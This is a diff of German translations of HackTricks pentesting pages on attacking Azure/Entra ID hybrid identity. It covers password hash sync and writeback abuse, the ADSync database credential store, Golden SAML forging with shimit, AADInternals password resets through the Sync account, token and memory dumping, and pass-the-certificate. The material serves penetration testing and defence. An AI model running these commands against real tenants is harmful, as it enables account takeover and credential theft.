 [Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet werden, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
 
-Im Grunde werden alle **Benutzer** und ein **Hash der Passwort-Hashes** von der lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **originalen** **Hashes** nicht an Azure AD gesendet.
+Im Grunde werden alle **Benutzer** und ein **Hash der Passwort-Hashes** von der lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.
 
-Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen** mit dem alten Passwort zugreifen.
+Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen**, indem er das alte Passwort verwendet.
 
 Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.
 
@@ -42,17 +42,17 @@ Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt di
 
 ### Passwort-Rückschreibung
 
-Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter von beliebigen Benutzern im AD ändern kann**.
+Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter jedes Benutzers im AD ändern kann**.
 
 Dies ist besonders interessant, um das AD von einem kompromittierten Entra ID zu kompromittieren, da Sie in der Lage sein werden, das Passwort von "fast" jedem Benutzer zu ändern.
 
-Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut **`adminCount` auf 1** hat. Aber andere Benutzer, die hohe Berechtigungen im AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
+Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das **`adminCount`-Attribut auf 1** hat. Aber andere Benutzer, die direkt hohe Berechtigungen im AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
 
 - Benutzer, die direkt hohe Berechtigungen zugewiesen bekommen haben.
-- Benutzer aus der Gruppe **`DNSAdmins`**.
+- Benutzer aus der **`DNSAdmins`**-Gruppe.
 - Benutzer aus der Gruppe **`Group Policy Creator Owners`**, die GPOs erstellt und ihnen OUs zugewiesen haben, werden in der Lage sein, die GPOs, die sie erstellt haben, zu ändern.
-- Benutzer aus der Gruppe **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
-- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das Attribut **`adminCount` auf 1**.
+- Benutzer aus der **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
+- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das **`adminCount`-Attribut auf 1**.
 
 ## Pivoting AD --> Entra ID
 
@@ -83,7 +83,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
 ```
 ### Finden der Passwörter
 
-Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server gespeichert** auf dem Server, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
+Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server** auf dem Server gespeichert, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
 Die Datenbank befindet sich in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
 Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:
@@ -125,10 +125,10 @@ Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Managementroll
 - `PasswordWriteback.RefreshClient.All`
 - `PasswordWriteback.RegisterClientVersion.All`
 
-Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um einige privilegierte Aktionen über eine undocumented API durchzuführen, aber bisher wurde afaik kein PoC gefunden.\
+Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um einige privilegierte Aktionen über eine nicht dokumentierte API durchzuführen, aber bisher wurde afaik kein PoC gefunden.\
 In jedem Fall wäre es interessant, weiter zu erkunden, wie man das Zertifikat findet, um sich als dieser Dienstprinzipal anzumelden und zu versuchen, es auszunutzen.
 
-Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), der kurz vor der Änderung von der Verwendung des `Sync_*`-Benutzers zu diesem Dienstprinzipal veröffentlicht wurde, erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat für den Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um als SP persistente zu bleiben.
+Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) wurde kurz vor der Umstellung von der Verwendung des Benutzers `Sync_*` auf diesen Dienstprinzipal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat für den Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um als SP persistent zu bleiben.
 
 Um diese Aktionen durchzuführen, sind die folgenden Tools veröffentlicht: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
 
@@ -139,7 +139,7 @@ Nach meiner Erfahrung wird das Zertifikat nicht mehr an dem Ort gespeichert, an
 > [!WARNING]
 > Früher wurde ein Benutzer namens `Sync_*` in Entra ID mit sehr sensiblen Berechtigungen erstellt, die es ermöglichten, privilegierte Aktionen wie das Ändern des Passworts eines beliebigen Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem Dienstprinzipal durchzuführen. Ab Januar 2025 wird dieser Benutzer jedoch standardmäßig nicht mehr erstellt, da jetzt die Anwendung/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** verwendet wird. Er könnte jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt es sich, danach zu suchen.
 
-Die Kompromittierung des **`Sync_*`**-Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
+Die Kompromittierung des **`Sync_*`** Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
 ```bash
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
 Import-Module AADInternals
@@ -175,7 +175,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.
 
 > [!CAUTION]
-> Eine andere Option wäre, **privilegierte Berechtigungen einem Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf diesen Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.
+> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit der Privilegieneskalation.
 
 ### Nahtloses SSO
 
@@ -199,4 +199,4 @@ seamless-sso.md
 - [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
 - [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md

@@ -1,17 +1,17 @@
 # Az - Microsoft Entra Domain Services
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Domain Services
 
 Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne dass Domain Controller verwaltet werden müssen (tatsächlich haben Sie nicht einmal Zugriff auf sie).
 
-Das Hauptziel besteht darin, Ihnen zu ermöglichen, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden verwenden können, oder wenn Sie nicht möchten, dass Verzeichnisabfragen immer auf eine lokale AD DS-Umgebung zurückgehen.
+Das Hauptziel besteht darin, Ihnen zu ermöglichen, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden verwenden können, oder wenn Sie nicht möchten, dass Verzeichnisabfragen immer auf eine lokale AD DS-Umgebung zurückgreifen.
 
-Beachten Sie, dass Sie, um die in Entra ID generierten Benutzer (und nicht aus anderen aktiven Verzeichnissen synchronisierten) mit dem AD-Domain-Service zu synchronisieren, das **Passwort des Benutzers** auf ein neues ändern müssen, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wird.
+Beachten Sie, dass Sie, um die in Entra ID generierten Benutzer (und nicht von anderen aktiven Verzeichnissen synchronisierten) mit dem AD-Domain-Service zu synchronisieren, das **Passwort des Benutzers** auf ein neues ändern müssen, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wird.
 
 > [!WARNING]
-> Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie sie nicht vollständig verwalten (es sei denn, Sie nutzen einige Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie durch **Synchronisieren von Benutzern aus Entra ID.** Sie können angeben, dass alle Benutzer (auch die, die aus anderen lokalen ADs synchronisiert wurden), nur Cloud-Benutzer (Benutzer, die in Entra ID erstellt wurden) oder sogar **weiter filtern** synchronisiert werden sollen.
+> Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie sie nicht vollständig verwalten (es sei denn, Sie nutzen einige Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie durch **Synchronisieren von Benutzern aus Entra ID.** Sie können angeben, dass alle Benutzer (auch die, die von anderen lokalen ADs synchronisiert wurden), nur Cloud-Benutzer (Benutzer, die in Entra ID erstellt wurden) oder sogar **weiter filtern** synchronisiert werden sollen.
 
 > [!NOTE]
 > Im Allgemeinen ist dies aufgrund der mangelnden Flexibilität bei der Konfiguration der neuen Domäne und der Tatsache, dass ADs normalerweise bereits lokal sind, nicht die Hauptintegration zwischen Entra ID und AD, aber es ist dennoch interessant zu wissen, wie man es kompromittieren kann.
@@ -34,12 +34,12 @@ Beachten Sie, dass zur Gewährung dieser Berechtigungen die Gruppe **`AAD DC Adm
 
 Das Pivotieren von Entra ID zu einem AD, das mit Domain Services erstellt wurde, ist unkompliziert. Fügen Sie einfach einen Benutzer zur Gruppe **`AAD DC Administrators`** hinzu, greifen Sie über RDP auf alle Maschinen in der Domäne zu, und Sie werden in der Lage sein, Daten zu stehlen und auch **die Domäne zu kompromittieren.**
 
-Das Pivotieren von der Domäne zu Entra ID ist jedoch nicht so einfach, da nichts aus der Domäne in Entra ID synchronisiert wird. Überprüfen Sie jedoch immer die Metadaten aller VMs, da deren zugewiesene verwaltete Identitäten interessante Berechtigungen haben könnten. Außerdem **dumpen Sie alle Benutzerpasswörter aus der Domäne** und versuchen Sie, diese zu knacken, um sich dann in Entra ID / Azure anzumelden.
+Das Pivotieren von der Domäne zu Entra ID ist jedoch nicht so einfach, da nichts aus der Domäne in Entra ID synchronisiert wird. Überprüfen Sie jedoch immer die Metadaten aller VMs, da ihre zugewiesenen verwalteten Identitäten interessante Berechtigungen haben könnten. Außerdem **dumpen Sie alle Benutzerpasswörter aus der Domäne** und versuchen Sie, diese zu knacken, um sich dann in Entra ID / Azure anzumelden.
 
 > [!NOTE]
 > Beachten Sie, dass in der Vergangenheit andere Schwachstellen in diesem verwalteten AD gefunden wurden, die es ermöglichten, die DCs zu kompromittieren, [wie diese hier](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der den DC kompromittiert, könnte sehr leicht die Persistenz aufrechterhalten, ohne dass die Azure-Administratoren es bemerken oder sogar in der Lage sind, sie zu entfernen.
 
-### Enumeration
+### Aufzählung
 ```bash
 # Get configured domain services domains (you can add more subs to check in more subscriptions)
 az rest --method post \
@@ -83,4 +83,4 @@ fi
 done
 done <<< "$vm_list"
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md

@@ -1,6 +1,6 @@
 # Az - Federation
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Grundinformationen
 
@@ -11,7 +11,7 @@
 
 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
 
-Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **lokalen** Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden.
+Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **lokalen** Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **Zugriff** auf **Cloud**-Anwendungen mit ihren **lokalen Anmeldeinformationen** erhalten.
 
 **Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**.
 
@@ -24,7 +24,7 @@ In jeder Föderationskonfiguration gibt es drei Parteien:
 <figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
 
 1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.
-2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.
+2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client zum gewählten IdP weiter.
 3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.
 4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.
 
@@ -68,21 +68,21 @@ Golden SAMLs bieten bestimmte Vorteile:
 
 [Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.
 
-Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel, der zur Signierung der SAML-Objekte verwendet wird**, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
+Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel, der zum Signieren der SAML-Objekte verwendet wird**, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
 
 Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:
 
 - **Token-Signatur-privater Schlüssel**
-- **IdP-Öffentliches Zertifikat**
+- **IdP-öffentlicher Zertifikat**
 - **IdP-Name**
-- **Rollenname (zu übernehmende Rolle)**
+- **Rollenname (Rolle, die übernommen werden soll)**
 - Domain\Benutzername
 - Rollensitzungsname in AWS
 - Amazon-Konto-ID
 
 _Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._
 
-Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher** mit Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) exportiert werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
+Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie als ADFS-Benutzer angemeldet sind:
 ```bash
 # From an "AD FS" session
 # After having exported the key with mimikatz
@@ -96,7 +96,7 @@ Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benu
 # Role Name
 (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
 ```
-Mit all den Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie impersonieren möchten, mithilfe von [**shimit**](https://github.com/cyberark/shimit)**:**
+Mit all den Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie nachahmen möchten, mit [**shimit**](https://github.com/cyberark/shimit)**:**
 ```bash
 # Apply session for AWS cli
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
 - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md

@@ -1,21 +1,21 @@
 # Hybrid Identity Verschiedene Angriffe
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 
-## Erzwingen der Synchronisierung von Entra ID-Benutzern mit On-Prem
+## Erzwingen der Synchronisierung von Entra ID-Benutzern zu on-prem
 
-Wie in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) erwähnt, war es möglich, den Wert von **`ProxyAddress`** innerhalb eines AD-Benutzers im On-Prem AD zu ändern, indem die E-Mail eines Entra ID-Adminbenutzers hinzugefügt wurde und auch sichergestellt wurde, dass der UPN des Benutzers im AD und in Entra ID übereinstimmte (das ist wieder die Entra ID), wie **`SMTP:admin@domain.onmicrosoft.com`**. Und dies würde **die Synchronisierung dieses Benutzers** von Entra ID zum On-Prem AD **erzwingen**, sodass, wenn das Passwort des Benutzers bekannt war, es verwendet werden könnte, um **auf den Admin in Entra ID zuzugreifen.**
+Wie in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) erwähnt, war es möglich, den Wert von **`ProxyAddress`** innerhalb eines AD-Benutzers im on-prem AD zu ändern, indem die E-Mail eines Entra ID-Adminbenutzers hinzugefügt wurde und auch sichergestellt wurde, dass der UPN des Benutzers im AD und in Entra ID übereinstimmte (das ist wieder die Entra ID), wie **`SMTP:admin@domain.onmicrosoft.com`**. Und dies würde **die Synchronisierung dieses Benutzers** von Entra ID zum on-prem AD **erzwingen**, sodass, wenn das Passwort des Benutzers bekannt war, es verwendet werden könnte, um **auf den Admin in Entra ID zuzugreifen.**
 
-Um einen neuen Benutzer von Entra ID zum On-Prem AD zu synchronisieren, sind die Anforderungen, die einzigen Anforderungen:
+Um einen neuen Benutzer von Entra ID zum on-prem AD zu synchronisieren, sind die Anforderungen, die einzigen Anforderungen:
 
-- Kontrolle über die Attribute eines Benutzers im On-Prem AD (oder Berechtigungen zum Erstellen neuer Benutzer haben)
-- Den Benutzer cloud-only kennen, um von Entra ID zum On-Prem AD zu synchronisieren
-- Möglicherweise müssen Sie auch in der Lage sein, das immutableID-Attribut des Entra ID-Benutzers auf den On-Prem AD-Benutzer zu ändern, um einen **harten Abgleich** durchzuführen.
+- Kontrolle über die Attribute eines Benutzers im on-prem AD (oder Berechtigungen zum Erstellen neuer Benutzer haben)
+- Den Benutzer cloud-only kennen, um von Entra ID zum on-prem AD zu synchronisieren
+- Möglicherweise müssen Sie auch in der Lage sein, das immutableID-Attribut vom Entra ID-Benutzer zum on-prem AD-Benutzer zu ändern, um einen **harten Abgleich** durchzuführen.
 
 
 > [!CAUTION]
-> Entra ID erlaubt es nicht mehr, Admins von Entra ID zum On-Prem AD zu synchronisieren.
+> Entra ID erlaubt es nicht mehr, Admins von Entra ID zum on-prem AD zu synchronisieren.
 > Außerdem **umgeht dies nicht MFA**.
 
 
@@ -26,4 +26,4 @@ Um einen neuen Benutzer von Entra ID zum On-Prem AD zu synchronisieren, sind die
 - [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
 - [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md

@@ -12,14 +12,14 @@ Tokens und sensible Daten werden lokal von Azure CLI gespeichert, was Sicherheit
 2. **Abonnementinformationen**: `azureProfile.json`, im selben Verzeichnis, enthält Abonnementdetails.
 3. **Protokolldateien**: Der Ordner `ErrorRecords` innerhalb von `.azure` könnte Protokolle mit exponierten Anmeldeinformationen enthalten, wie z.B.:
 - Ausgeführte Befehle mit eingebetteten Anmeldeinformationen.
-- URLs, die mit Tokens aufgerufen wurden, was potenziell sensible Informationen offenbaren könnte.
+- Über Tokens aufgerufene URLs, die potenziell sensible Informationen offenbaren.
 
 ### Azure PowerShell
 
 Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgerufen werden können:
 
 1. **Zugriffstoken**: `TokenCache.dat`, das sich unter `C:\Users\<username>\.Azure` befindet, speichert Zugriffstoken im Klartext.
-2. **Secrets des Dienstprinzipals**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert.
+2. **Secrets von Dienstprinzipalen**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert.
 3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, was vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern.
 
 ### Automatische Tools, um sie zu finden
@@ -29,7 +29,7 @@ Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgeru
 
 ## Tokens im Speicher
 
-Wie in [**diesem Video**](https://www.youtube.com/watch?v=OHKZkXC4Duw) erklärt, könnte einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), **Zugriffstoken im Klartext im Speicher speichern**. Das bloße **Dumpen** des **Speichers** des Prozesses und **Greppen nach JWT-Tokens** könnte Ihnen Zugriff auf mehrere Ressourcen des Opfers in der Cloud gewähren und MFA umgehen.
+Wie in [**diesem Video**](https://www.youtube.com/watch?v=OHKZkXC4Duw) erklärt, könnte einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), **Zugriffstoken im Klartext im Speicher speichern**. Daher könnte einfaches **Dumping** des **Speichers** des Prozesses und **Greppen nach JWT-Tokens** Ihnen Zugriff auf mehrere Ressourcen des Opfers in der Cloud gewähren, indem MFA umgangen wird.
 
 Schritte:
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md

@@ -24,7 +24,7 @@ Es ist möglich, ein **P2P-Zertifikat** für den Benutzer mit dem Tool [**PrtToC
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Zielmaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
+Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt, um eine CMD auf der Zielmaschine zu öffnen. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md

@@ -4,7 +4,7 @@
 
 ## Warum Cookies?
 
-Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.
+Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.
 
 Sie können sehen, wo **Browser-Cookies gespeichert sind** in:
 
@@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ## Angriff
 
